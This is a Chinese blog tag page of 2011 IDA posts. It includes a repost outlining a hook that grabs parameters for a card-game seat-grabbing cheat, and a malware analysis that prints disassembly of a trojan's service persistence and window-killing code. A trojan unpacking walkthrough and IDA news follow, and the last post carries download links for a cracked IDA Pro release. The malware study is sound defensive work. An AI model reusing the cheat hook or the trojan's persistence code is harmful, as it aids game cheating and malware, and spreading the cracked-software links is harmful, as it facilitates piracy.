显示标签为“IDA”的博文。显示所有博文
显示标签为“IDA”的博文。显示所有博文

2011年9月17日星期六

[轉載]簡單分析某個棋牌遊戲的搶位置功能


作 者: kwting 
時 間: 2011-08-25,23:22:45
鏈接: http://bbs.pediy.com/showthread.php?t=139310

最近忙著都沒逛論壇了,今天有點時間跑來看看.......順便發個帖....沒有什麼好於不好,如果對你有用就行
   最近研究了一款棋牌遊戲的搶位置功能,通過分析找到了搶位置的關鍵位置,有了call 後,有人說有了call 那參數還不容易嗎?曾經發過一個帖'讓遊戲自動送上call的參數' 有人曾經這樣回复
找到call了, 分析參數還不容易...
靜態用ida看引用
動態下斷點, 回溯棧
需要你這麼麻煩麼
其實真的有點call 的參數不是你想的那麼簡單,就比如在遊戲中撿取物品,有的通過物品id做參數,那麼你需要遍歷周圍物品,得到物品id 然而一切都不是想的那麼簡單,也許光遍歷周圍物品就花費你幾天的時間(高手除外。。).....然而像做遊戲輔助的不是想說怎麼分析遊戲才有意義之類的,有的只是想怎樣才能達到我的目的,在做這個搶位置的過程中發現遊戲的數據太難找了.......當我向上回溯了十幾個循環都沒找到完整的參數來源........ ..........分析的過程很艱難。 。後來通過內存搜索定位特徵碼從而找到了數據的來源參數.....然而搜索的過程挺艱難的..... 搜索的目的只是獲得2個參數.....一個ecx ,一個是每個位置對應的一個內存地址
*************關鍵call*********************************** ***********
83BA 98000000 00 cmp dword ptr ds:[edx+0x98],0x0 判斷這個位置是否有人,有就跳走不發送搶位置的相應call
75 15 jnz short Lobby.00444927 有人跳走不發送call
8B45 08 mov eax,[arg.1]
50 push eax 參數一
8B4D FC mov ecx,[local.1]
51 push ecx 參數二
8B4D F0 mov ecx,[local.4]
E8 9EEBFFFF call Lobby.
************************************************** ***************
最關鍵是就是那2個參數了
下面分析參數*******************************
通過分析了很久......那個參數中第一個就是代表是那個位置,比如第一張桌子的第一個就是一個參數,第二個又是另外一個參數********* ************反正進過分析想找到那個數據不是那麼簡單的.......
上面都是很久以前分析過了的,最近再次拿到分析突然想到一個辦法也許能夠讓參數的獲取變得簡單.....
cmp dword ptr ds:[edx+0x98],0x0 判斷這個位置是否有人
裡面的edx就是那個座位的參數......每次點擊一下那個位置無論有沒有人代碼都會執行一遍.......
那麼我想到如果我就在這裡hook住,當你想搶哪個位置,你點擊一下那個位置,我的軟件通過hook 那裡參數不就自動把參數取出來了嗎?那麼在軟件也不用輸入第幾桌,上桌還是下桌(因為按照常理的話你必須輸入你要搶​​的是那一桌,上面那個位置還是下面的).........每次用戶想搶哪個位置叫他點擊一下那個位置,就表明了他要搶的位置...那麼我的軟件就可以開始搶位置了....
下面我就具體寫出來我的部分代碼(delphi)
var
st:integer;///定義一個全局變量來保存位置參數
c_ecx:integer;
st_1:integer;

function hook():bool;stdcall
var
jm:integer;
begin
jm:=xxxxxxxxx;//跳回去
asm
mov i,ebx
mov c_ecx,ecx
jmp jm
end;
上面就是我的hook 由於是今天想到的思路,我還沒開始寫代碼。 。 。
你把找到的call 那裡找個合適的地方hook 了就行了、,。 。 。 。

最後只需要用戶點擊一下他想坐的位置,那麼我就能獲取到他的參數。 。於是只用發送相應的call 了


一個思路而已 如果對你有用就收下

end;

2011年9月13日星期二

IDA 6.2測試版即將開始測試

據IDA官方部落格2011年9月12日宣佈,不久他們開始測試新版本的IDA,它將支持前段時間所提到的各種新功能,如:鄰近查看、UI快捷鍵編輯器、選擇器中的過濾器、數據庫快照等等功能。

據敘述,它還有以下的新功能:
自動檢測新版本:
交叉引用到結構成員:

除此之外,它們實行一個新的政策,浮動許可證。更多消息可去官方部落格查看。

2011年9月9日星期五

IDA過濾器和快捷鍵管理功能

IDA官方部落格稱,即將發佈的IDA中將包含兩個新的功能,一個是過濾器,另一個是快捷管理共呢.

它使用圖示來顯示解釋這個功能,在函數窗口我們可以看到顯示:
這個窗口使用不同的顏色顯示,函數名列表中包含"str"和"mem".

我們可以添加特定的過濾器,
使用這個對話框可以為這兩種類型選擇不同過濾要求,而且,之後它會選擇適當的背景色突出效果.

篩選項目時可以用快捷(Ctrl-F)打開
進行篩選時有三個選項:

這個是過濾器的功能介紹,之後它的快捷鍵管理窗口界面也同樣放出:
根據官方說法,其實就是在IDA中增加了修改"shortcuts.cfg"這個快捷鍵記錄文件的窗口而已,人性化了.

2011年8月11日星期四

IDA 6.2 Qt版將增加"鄰近瀏覽器"功能

IDA逆向當中有一項很重要的工作,就是理解和查看函數,一方面我們要著手查看函數的內部結構、流程、變量等內容;另一方面我們還要查看"鄰近"的函數、變量。當然我們在分析函數的時候是最重要就是要知道它"做什麽",所以內部分析似乎重要過外部分析,不過,在我們使用IDA具體逆向分析函數的時候,實際上外部給予我們的信息更為重要.外部信息是我們分析內部流程的基礎.

2011年8月8日,IDA官網部落格發佈消息說,Qt版得IDA 6.2講支持一個新特性,就是-"鄰近瀏覽器"功能.
這個功能簡稱為"PV",就是在函數視圖當中加入一個"鄰近查看"的功能.

IDA這個功能我們可以右鍵-Proximity view中使用或者使用快捷鍵"-",在使用這個查看方式的時候,雙擊以顯示函數的關係,在這種視圖方式中下面出現了一個橢圓節點,雙擊它可以顯示或者隱藏子節點的函數,非常方便的視圖效果.

據IDA官網部落格說,現在PV查看最有趣的功能是"查找路徑".
在IDA中,這個功能是隱藏了一部份子節點中,兩個函數出現了沒有直接關係的節點,可是,它們其實是節點關係的,這是后就可以用到這個功能,右鍵-查找路徑就可以顯示如下:

非常方便看出它的視圖了.

最後,我們來欣賞一下IDA 6.2的新佈局方式:


2011年8月7日星期日

IDA學習利器-IDA pro book 英文第二版下載

IDA反彙編程式是強大的反彙編利器,功能涵蓋了程式反彙編的方面,而且,在新版開始,IDA加強了調試功能,它的雙機調試是可以和windbg可以聘美而且更加的強大.

很多初學者在使用IDA上覺得有難度,IDA pro book 這本書可以說是學習IDA最好的利器,它從最基本的操作到複雜的功能都介紹詳細,並且細微研讀后可以補充反彙編知識的不足.

此為IDA pro book第二版再版,結構沒有變化,卻增加了一下內容:

第四部份 擴展IDA的性能 這張大量更新了IDA 內核和 SDK內容,例如第17章到第19章,解釋如何編寫插件\文件加載和使用腳本(包括IDC和IDA Python)

第15章 介紹了IDC的變化,新的函數和例子,並且介紹有用的設置,還增加了IDA Python一個例子.

第17章 有一部份新的內容,如何使用Qt到IDA接口的UI豐富的插件.

第23章 介紹有用的插件,新的插件有:MyNav,Class informer,IdaPdf.

第26章 強大的調試功能,有實例.

IDA pro book下載地址:http://filemarkets.com/file/newbing/a25aa6cc/

2011年8月4日星期四

sysmanager.exe逆向分析

作 者: 古越魂
時 間: 2011-07-15,20:23:50

這幾天不知道為啥子電腦速度特別慢,而且有些網頁打開後就直接將瀏覽器關閉了,搞得我很鬱悶.用殺毒軟件查殺,結果啥都沒查出來...於是很糾結,還是手動殺毒比較靠譜...因為這些網頁打開的都有些破解,逆向等字眼,所以就懷疑它是根據關鍵字來進行工作的,於是新建了一個“逆向破解.txt”,用記事本打開,果然:一打開它就關閉了,換editplus打開,結果還是一樣,而換了文件名打開就正常了.
      因為對於每個進程都會產生這種情況,所以初步懷疑是dll注入,可對照兩個進程的dll,除了系統的dll,貌似也沒啥子問題,而注入系統dll的可能性不大,所以還是另尋他法吧。
     將電腦在安全模式下打開,觀察進程列表,然後電腦正常模式下打開,觀察進程列表,然後再進行一個一個排除。
      經過反复的測試,確定是sysmanager.exe文件的問題,關閉進程,結果能正常運行。結果百度了下該進程,果然是個病毒木馬程序,然後清理註冊表,刪除程序,ok,殺毒完畢! ! !
     本來到這裡都應該結束了,但是一時也沒啥事幹,而且這東西搞得我鬱悶無比! ! !所以還是決定分析下。
    PEiD查殼:Microsoft Visual C++ 6.0
    這是一個好消息,接著就IDA + OD進行分析吧.

代碼:
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
.text:004014F0 _WinMain@16 proc near ; CODE XREF: start+12Fp
.text:004014F0
.text:004014F0 ServiceStartTable= SERVICE_TABLE_ENTRYA ptr -10h
.text:004014F0 var_8 = dword ptr -8
.text:004014F0 var_4 = dword ptr -4
.text:004014F0 hInstance = dword ptr 4
.text:004014F0 hPrevInstance = dword ptr 8
.text:004014F0 Str1 = dword ptr 0Ch
.text:004014F0 nShowCmd = dword ptr 10h
.text:004014F0
.text:004014F0 sub esp, 10h
.text:004014F3 call sub_401000
.text:004014F8 call ds:GetCurrentThreadId
.text:004014FE mov dword_403068, eax
.text:00401503 xor eax, eax
.text:00401505 mov [esp+10h+var_8], eax
.text:00401509 mov [esp+10h+var_4], eax
.text:0040150D mov eax, [esp+10h+Str1]
//判斷是否為刪除指令,如果是,那麼刪除服務,卸載程序
.text:00401511 push offset Str2 ; "/uninstall"
.text:00401516 push eax ; Str1
.text:00401517 mov [esp+18h+ServiceStartTable.lpServiceName], offset ServiceName ; "SystemManager"
.text:0040151F mov [esp+18h+ServiceStartTable.lpServiceProc], offset loc_401450
.text:00401527 call ds:_stricmp
.text:0040152D add esp, 8
.text:00401530 test eax, eax
.text:00401532 jnz short loc_401541
.text:00401534 call sub_401220
.text:00401539 x​​or eax, eax
.text:0040153B add esp, 10h
.text:0040153E retn 10h
.text:00401541 ; --------------------------------------------- ------------------------------
.text:00401541
.text:00401541 loc_401541: ; CODE XREF: WinMain(x,x,x,x)+42j
.text:00401541 call sub_401040
.text:00401546 lea ecx, [esp+10h+ServiceStartTable]
//函數StartServiceCtrlDispatcherA的利用
//對於每一個新建的進程,創建一個線程,進行檢測操作
.text:0040154A push ecx ; lpServiceStartTable
.text:0040154B call ds:StartServiceCtrlDispatcherA
.text:00401551 xor eax, eax
.text:00401553 add esp, 10h
.text:00401556 retn 10h
.text:00401556 _WinMain@16 endp



typedef struct _SERVICE_TABLE_ENTRY {
  LPTSTR lpServiceName;
  LPSERVICE_MAIN_FUNCTION lpServiceProc;
} SERVICE_TABLE_ENTRY,
lpServiceProc = 401450


//將sysmanager.exe複製到系統目錄,並創建啟動服務
.text:00401040 sub esp, 220h
.text:00401046 lea eax, [esp+220h+NewFileName]
.text:0040104A push ebx
.text:0040104B push esi
.text:0040104C push edi
.text:0040104D push 100h ; uSize
.text:00401052 push eax ; lpBuffer
.text:00401053 call ds:GetSystemDirectoryA
.text:00401059 mov edi, offset aSysmanager_exe ; "\\sysmanager.exe"
.text:0040105E or ecx, 0FFFFFFFFh
.text:00401061 xor eax, eax
.text:00401063 lea edx, [esp+22Ch+NewFileName]
.text:00401067 repne scasb
.text:00401069 not ecx
.text:0040106B sub edi, ecx
.text:0040106D push 104h ; nSize
.text:00401072 mov esi, edi
.text:00401074 mov ebx, ecx
.text:00401076 mov edi, edx
.text:00401078 or ecx, 0FFFFFFFFh
.text:0040107B repne scasb
.text:0040107D mov ecx, ebx
.text:0040107F dec edi
.text:00401080 shr ecx, 2
.text:00401083 rep movsd
.text:00401085 mov ecx, ebx
.text:00401087 lea eax, [esp+230h+ExistingFileName]
.text:0040108E and ecx, 3
.text:00401091 push eax ; lpFilename
.text:00401092 rep movsb
.text:00401094 push 0 ; hModule
//獲取自身程序名
.text:00401096 call ds:GetModuleFileNameA
.text:0040109C lea ecx, [esp+22Ch+NewFileName]
.text:004010A0 push 0 ; bFailIfExists
.text:004010A2 lea edx, [esp+230h+ExistingFileName]
.text:004010A9 push ecx ; lpNewFileName
.text:004010AA push edx ; lpExistingFileName
//複製文件
.text:004010AB call ds:CopyFileA
.text:004010B1 test eax, eax
.text:004010B3 jnz short loc_4010BF
.text:004010B5 pop edi
.text:004010B6 pop esi
.text:004010B7 pop ebx
.text:004010B8 add esp, 220h
.text:004010BE retn
.text:004010BF ; --------------------------------------------- ------------------------------
.text:004010BF
.text:004010BF loc_4010BF: ; CODE XREF: sub_401040+73j
.text:004010BF push 0F003Fh ; dwDesiredAccess
.text:004010C4 push 0 ; lpDatabaseName
.text:004010C6 push 0 ; lpMachineName
//打開服務管理
.text:004010C8 call ds:OpenSCManagerA
.text:004010CE test eax, eax
.text:004010D0 mov hSCObject, eax
.text:004010D5 jnz short loc_4010E1
.text:004010D7 pop edi
.text:004010D8 pop esi
.text:004010D9 pop ebx
.text:004010DA add esp, 220h
.text:004010E0 retn
.text:004010E1 ; --------------------------------------------- ------------------------------
.text:004010E1
.text:004010E1 loc_4010E1: ; CODE XREF: sub_401040+95j
.text:004010E1 push 0 ; lpPassword
.text:004010E3 push 0 ; lpServiceStartName
.text:004010E5 push offset Dependencies ; lpDependencies
.text:004010EA push 0 ; lpdwTagId
.text:004010EC lea ecx, [esp+23Ch+NewFileName]
.text:004010F0 push 0 ; lpLoadOrderGroup
.text:004010F2 push ecx ; lpBinaryPathName
.text:004010F3 mov ebx, 2
.text:004010F8 push 1 ; dwErrorControl
.text:004010FA push ebx ; dwStartType
.text:004010FB push 110h ; dwServiceType
.text:00401100 push 0F01FFh ; dwDesiredAccess
.text:00401105 push offset ServiceName ; "SystemManager"
.text:0040110A push offset ServiceName ; "SystemManager"
.text:0040110F push eax ; hSCManage
//創建服務
.text:00401110 call ds:CreateServiceA
.text:00401116 mo​​v esi, ds:GetLastError
.text:0040111C mov dword_403060, eax
.text:00401121 test eax, eax
.text:00401123 jnz short loc_40117C
.text:00401125 call esi ; GetLastError
.text:00401127 cmp eax, 431h
.text:0040112C jz short loc_401147
.text:0040112E mov edx, hSCObject
.text:00401134 push edx ; hSCObject
.text:00401135 call ds:CloseServiceHandle
.text:0040113B pop edi
.text:0040113C pop esi
.text:0040113D xor eax, eax
.text:0040113F pop ebx
.text:00401140 add esp, 220h
.text:00401146 retn
.text:00401147 ; --------------------------------------------- ------------------------------
.text:00401147
.text:00401147 loc_401147: ; CODE XREF: sub_401040+ECj
.text:00401147 mov eax, hSCObject
.text:0040114C push 10h ; dwDesiredAccess
.text:0040114E push offset ServiceName ; "SystemManager"
.text:00401153 push eax ; hSCManager
//打開服務
.text:00401154 call ds:OpenServiceA
.text:0040115A test eax, eax
.text:0040115C mov dword_403060, eax
.text:00401161 jnz short loc_40117C
.text:00401163 mov ecx, hSCObject
.text:00401169 push ecx ; hSCObject
.text:0040116A call ds:CloseServiceHandle
.text:00401170 pop edi
.text:00401171 pop esi
.text:00401172 xor eax, eax
.text:00401174 pop ebx
.text:00401175 add esp, 220h
.text:0040117B retn


//刪除服務
sub_401220 proc near ; CODE XREF: WinMain(x,x,x,x)+44p
.text:00401220 push esi
.text:00401221 push 0F003Fh ; dwDesiredAccess
.text:00401226 push 0 ; lpDatabaseName
.text:00401228 push 0 ; lpMachineName
.text:0040122A call ds:OpenSCManagerA
.text:00401230 test eax, eax
.text:00401232 mov hSCObject, eax
.text:00401237 jz loc_4012C3
.text:0040123D push 0F01FFh ; dwDesiredAccess
.text:00401242 push offset ServiceName ; "SystemManager"
.text:00401247 push eax ; hSCManager
.text:00401248 call ds:OpenServiceA
.text:0040124E test eax, eax
.text:00401250 mov dword_403060, eax
.text:00401255 jz short loc_4012C3
.text:00401257 push offset ServiceStatus ; lpServiceStatus
.text:0040125C push eax ; hService
.text:0040125D call ds:QueryServiceStatus
.text:00401263 cmp ServiceStatus.dwCurrentState, 4
.text:0040126A jnz short loc_40127F
.text:0040126C mov eax, dword_403060
.text:00401271 push offset ServiceStatus ; lpServiceStatus
.text:00401276 push 1 ; dwControl
.text:00401278 push eax ; hService
.text:00401279 call ds:ControlService
.text:0040127F
.text:0040127F loc_40127F: ; CODE XREF: sub_401220+4Aj
.text:0040127F mov ecx, dword_403060
.text:00401285 push ecx ; hService
.text:00401286 call ds:DeleteService
.text:0040128C test eax, eax
.text:0040128E jz short loc_4012AB
.text:00401290 mov edx, hSCObject
.text:00401296 mov esi, ds:CloseServiceHandle
.text:0040129C push edx ; hSCObject
.text:0040129D call esi ; CloseServiceHandle
.text:0040129F mov eax, dword_403060
.text:004012A4 push eax ; hSCObject
.text:004012A5 call esi ; CloseServiceHandle
.text:004012A7 xor eax, eax
.text:004012A9 pop esi
.text:004012AA retn



xt:00401450 loc_401450: ; DATA XREF: WinMain(x,x,x,x)+2Fo
.text:00401450 push offset sub_4012D0
.text:00401455 push offset ServiceName ; "SystemManager"
.text:0040145A mov ServiceStatus.dwCurrentState, 2
.text:00401464 mov ServiceStatus.dwControlsAccepted, 3
.text:0040146E call ds:RegisterServiceCtrlHandlerA
.text:00401474 test eax, eax
.text:00401476 mov hServiceStatus, eax
.text:0040147B jz short locret_4014E4
.text:0040147D push esi
.text:0040147E mov esi, ds:SetServiceStatus
.text:00401484 push offset ServiceStatus
.text:00401489 push eax
.text:0040148A call esi ; SetServiceStatus
.text:0040148C mov eax, hServiceStatus
.text:00401491 push offset ServiceStatus
.text:00401496 push eax
.text:00401497
.text:00401497 __cfltcvt_init:
.text:00401497 mov ServiceStatus.dwWin32ExitCode, 0
.text:004014A1 mov ServiceStatus.dwCheckPoint, 0
.text:004014AB mov ServiceStatus.dwWaitHint, 0
.text:004014B5 mov ServiceStatus.dwCurrentState, 4
.text:004014BF call esi ; SetServiceStatus
.text:004014C1 push 0
.text:004014C3 push 0
.text:004014C5 push 0
.text:004014C7 push offset sub_401380
.text:004014CC push 0
.text:004014CE push 0
.text:004014D0 call ds:CreateThread
.text:004014D6 test eax, eax
.text:004014D8 pop esi
.text:004014D9 jz short locret_4014E4
.text:004014DB push 0FFFFFFFFh
.text:004014DD push eax
.text:004014DE call ds:WaitForSingleObject
.text:004014E4
.text:004014E4 locret_4014E4: ; CODE XREF: .text:0040147Bj
.text:004014E4 ; .text:004014D9j
.text:004014E4 retn


對於每個新建的進程,都創建一個線程,線程函數地址:sub_401380

sub_401380 proc near ; DATA XREF: .text:004014C7o
.text:00401380
.text:00401380 String = byte ptr -104h
.text:00401380
.text:00401380 sub esp, 104h
.text:00401386 push ebx
.text:00401387 mov ebx, ds:_mbsstr
.text:0040138D push esi
.text:0040138E push edi
.text:0040138F
.text:0040138F loc_40138F: ; CODE XREF: sub_401380+47j
.text:0040138F ; sub_401380+BEj
.text:0040138F push 3E8h ; dwMilliseconds
.text:00401394 call ds:Sleep
.text:0040139A xor eax, eax
.text:0040139C mov ecx, 19h
.text:004013A1 mov edi, offset dword_403094
.text:004013A6 push eax ; lParam
.text:004013A7 rep stosd
.text:004013A9 push offset EnumFunc ; lpEnumFunc
.text:004013AE mov dword_403224, 0
.text:004013B8 call ds:EnumWindows //枚舉窗口
.text:004013BE mov eax, dword_403224
.text:004013C3 xor edi, edi
.text:004013C5 test eax, eax
.text:004013C7 jle short loc_40138F
.text:004013C9 mov esi, offset dword_403094
.text:004013CE
.text:004013CE loc_4013CE: ; CODE XREF: sub_401380+BCj
.text:004013CE mov eax, [esi]
.text:004013D0 test eax, eax
.text:004013D2 jz short loc_401431
.text:004013D4 lea ecx, [esp+110h+String]
.text:004013D8 push 80h ; nMaxCount
.text:004013DD push ecx ; lpString
.text:004013DE push eax ; hWnd
.text:004013DF call ds:GetWindowTextA //獲取窗口文本
.text:004013E5 test eax, eax
.text:004013E7 jz short loc_401431
.text:004013E9 lea edx, [esp+110h+String]
.text:004013ED push offset unk_403040
.text:004013F2 push edx
.text:004013F3 call ebx ; _mbsstr
.text:004013F5 add esp, 8
.text:004013F8 test eax, eax
.text:004013FA jnz short loc_401422
.text:004013FC lea eax, [esp+110h+String]
.text:00401400 push offset aI ; "專用"
.text:00401405 push eax
.text:00401406 call ebx ; _mbsstr //檢測關鍵字:專用
.text:00401408 add esp, 8
.text:0040140B test eax, eax
.text:0040140D jnz short loc_401422
.text:0040140F lea ecx, [esp+110h+String]
.text:00401413 push offset aT ; "破解"
.text:00401418 push ecx
.text:00401419 call ebx ; _mbsstr //檢測關鍵字:破解
.text:0040141B add esp, 8
.text:0040141E test eax, eax
.text:00401420 jz short loc_401431
.text:00401422
.text:00401422 loc_401422: ; CODE XREF: sub_401380+7Aj
.text:00401422 ; sub_401380+8Dj
.text:00401422 mov edx, [esi]
.text:00401424 push 0 ; lParam
.text:00401426 push 0 ; wParam
.text:00401428 push 10h ; Msg
.text:0040142A push edx ; hWnd
.text:0040142B call ds:SendMessageA //發送消息,關閉進程
.text:00401431
.text:00401431 loc_401431: ; CODE XREF: sub_401380+52j
.text:00401431 ; sub_401380+67j ...
.text:00401431 mov eax, dword_403224
.text:00401436 inc edi
.text:00401437 add esi, 4
.text:0040143A cmp edi, eax
.text:0040143C jl short loc_4013CE
.text:0040143E jmp loc_40138F
.text:0040143E sub_401380 endp
一些感觸:
到這裡就分析完畢了,終於知道啥原因了,同時也學了個函數StartServiceCtrlDispatcherA,這是一個好函數,用來做文件監控真是再好不過了,而且可以對一些關鍵字進行過濾,假如:有關破解逆向的網頁全部都被屏蔽掉了.好東西,學習了

2011年8月3日星期三

IDA + Bochs 調試器插件進行PE+ 格式DLL脫殼

By :obaby 

在IDA Pro6.1中我們擴展了Bochs調試器插件,現在已經可以進行64位代碼段的調試。在IDA Pro 6.2版本中將有可能實現PE+ 可執行程序的動態調試。由於程序將會在Bochs系統中執行,因而在調試的過程中我們並不需要實際的64位操作系統,因而在實際的調試過程中可以從任何的32位或者64位的Linux,Mac OS 或者Windows操作系統中使用IDA Pro進行64位可執行文件的調試。
為了確認這一項新的功能,我們將進行PE+格式的一個木馬程序進行脫殼並且進行一個大體的分析,這個文件是由MATCODE Software公司的mpress進行壓縮的。我們將會對講解DLL文件脫殼,修復輸入表並且最終修復數據庫來進行分析。

Unpacking the DLL
我們的目標文件是一個木馬的DLL文件,該文件被殺軟識別為“Win32/Giku”。我們從使用idaq64載入DLL文件開始進行分析,載入之後按Ctrl+S鍵打開區段窗口:

打開區段窗口之後注意觀察區段的名稱和mpress壓縮殼設置的區段的屬性。
為了進行DLL文件調試需要確保在啟動之前已經設置調試器的選項設置(“Bochs debugger plugin”)為PE 和64bit emulation 模式。

在啟動調試器之後,注意觀察下面的代碼段,在這段代碼中調用了unpack()函數:

如果我們繼續單步執行到更遠的地方我們將會到達修復輸入表的代碼處,為了實現輸入表的修復程序將會循環調用LoadLibrary()/GetModuleHandle()函數並且在這個循環中會包含另外的一個子循環調用GetProcAddress()。 Mpress外殼通過這兩層循環來實現IAT修復:

在stosq執行之後我們將可以從rdi寄存器中得到IAT結構的起始地址,同樣在兩層循環全部結束之後我們可以從rdi寄存器中得到IAT結構的結束地址。
在IAT修復之後不遠的地方我們可以找到一個跳轉到原始入口點的jmp代碼:

程序的入口點代碼如下所示:

這裡就是脫殼之後的程序的真實的DllEntryPoint()函數了。現在有了程序的OEP和IAT結構的起始/結束地址,我們就可以清空數據庫並且重現脫殼之後的程序了。
Reconstructing and cleaning the database
到這裡有許多的辦法在程序脫殼之後進行清理數據庫清理.通常會包含如下幾步:
1. 定位IAT並且創建一個額外的區段來重現程序的輸入表;
2. 刪除外殼代碼的入口點,並且添加脫殼之後程序的原始入口點OEP;
3. 重新分析代碼;
4. 重新加載FLIRT特徵庫
5. 刪除無用的外殼區段(可選)
其中第一步到第三步可以通過IDA的uunp插件來自動完成,執行菜單中的“Edit/Plugins/Universal unpacker manual reconstruct”即運行該插件:

在插件中填入通過上面的操作得到的數據即可:

點擊確定之後一個新的區段將會被創建,並且代碼段將會被重新分析,在分析完成之後脫殼之後的程序的一個內存快照將會被呈現出來。
現在我們就可以重新引用FLIRT特徵庫了:

在選擇“vc64rtf”簽名(shi​​ft +F5)之後我們可以看到IDA已經成功的識別出了庫函數並且對這些庫函數使用淺藍色進行了標記,這樣可以使得後續的分析工作變得更加簡單。
Analyzing the unpacked code
在代碼解壓之後我們可以通過String Window窗口進行一個快速分析,String Window窗口呈現了一些加密的字符串:

通過交叉引用,我們可以定位到解密函數。在給函數適當的參數之後我們可以直接通過Appcall來解密這些字符串:

我們得到了一個指向加密的文本文件的URL。在深入挖掘之後我們定位到了解密文件的函數:

下面是Appcall版本的decrypt_file()函數:

我們使用這個函數就可以解密spm.txt文件了,解密之後的內容如下所示:

X32.jpg是一個upx壓縮的DLL文件,x64.jpg是一個mpress壓縮的PE+格式的Dll文件。

2011年7月31日星期日

IDA 6.2 增加數據快照功能

IDA官網于7月29日發佈了一則新消息,IDA 6.2支持數據快照功能.
據說,此功能是應使用者要求提供撤銷已經保存了的數據而開發的,原文如下:


'The most frequently asked question we get during the IDA Pro trainings, on the support forum or via support emails is: “When will IDA Pro support the undo feature?” or “How can I undo an operation in IDA Pro”.

Our answer has always been: “Sorry, it is not possible to undo in IDA Pro” or “This feature will eventually be implemented sometime in the future”.

In this blog post, we introduce the new database snapshots feature that will be present in IDA Pro 6.2'


此功能會在硬盤上創建備份文件如:databasename_mmddyyyy_hhmmss.idb,這個功能與"虛擬機快照"非常类似,用户可以在任何时间点虚拟机的快照,并与新的数据库快照功能(还原,删除等... ...)

此功能可以在兩個地方找到,一個是文件菜單:
或者是快捷鍵Ctrl-Shift-W.
也可以在查看菜單找到:
快捷鍵為Ctrl-Shift-T.

有讀者評論此功能非常實在,以前經常自己手動備份非常麻煩,有了這個功能減少了勞動量.

2011年7月16日星期六

IDA Pro Advanced 6.1 Full + Hex-Rays 1.5

IDA是一個強大的反彙編工具,這是IDA 6.1版本,其中包括:

Hex-Rays.IDA.Pro.Advanced.v6.1.Windows.incl.Hex-Rays.x86.Decompiler.v1.5.READ.NFO-RDW
Hex-Rays.IDA.Pro.Advanced.SDK.v6.1-RDW
Hex-Rays.IDA.Pro.Advanced.FLAIR.v6.1-RDW
Hex-Rays.IDA.Pro.Advanced.IDS.Utilities.v6.1-RDW
Hex-Rays.IDA.Pro.Advanced.LOADINT.v6.1-RDW
Hex-Rays.IDA.Pro.Advanced.TILIB.v6.1-RDW
Hex-Rays.IDA.Pro.Advanced.v6.1.TVision.v2009b.Source-RDW

下载地址: http://filemarkets.com/file/newbing/0c22cc9f/
          http://www.filesonic.com/file/1455039374/i61f.rar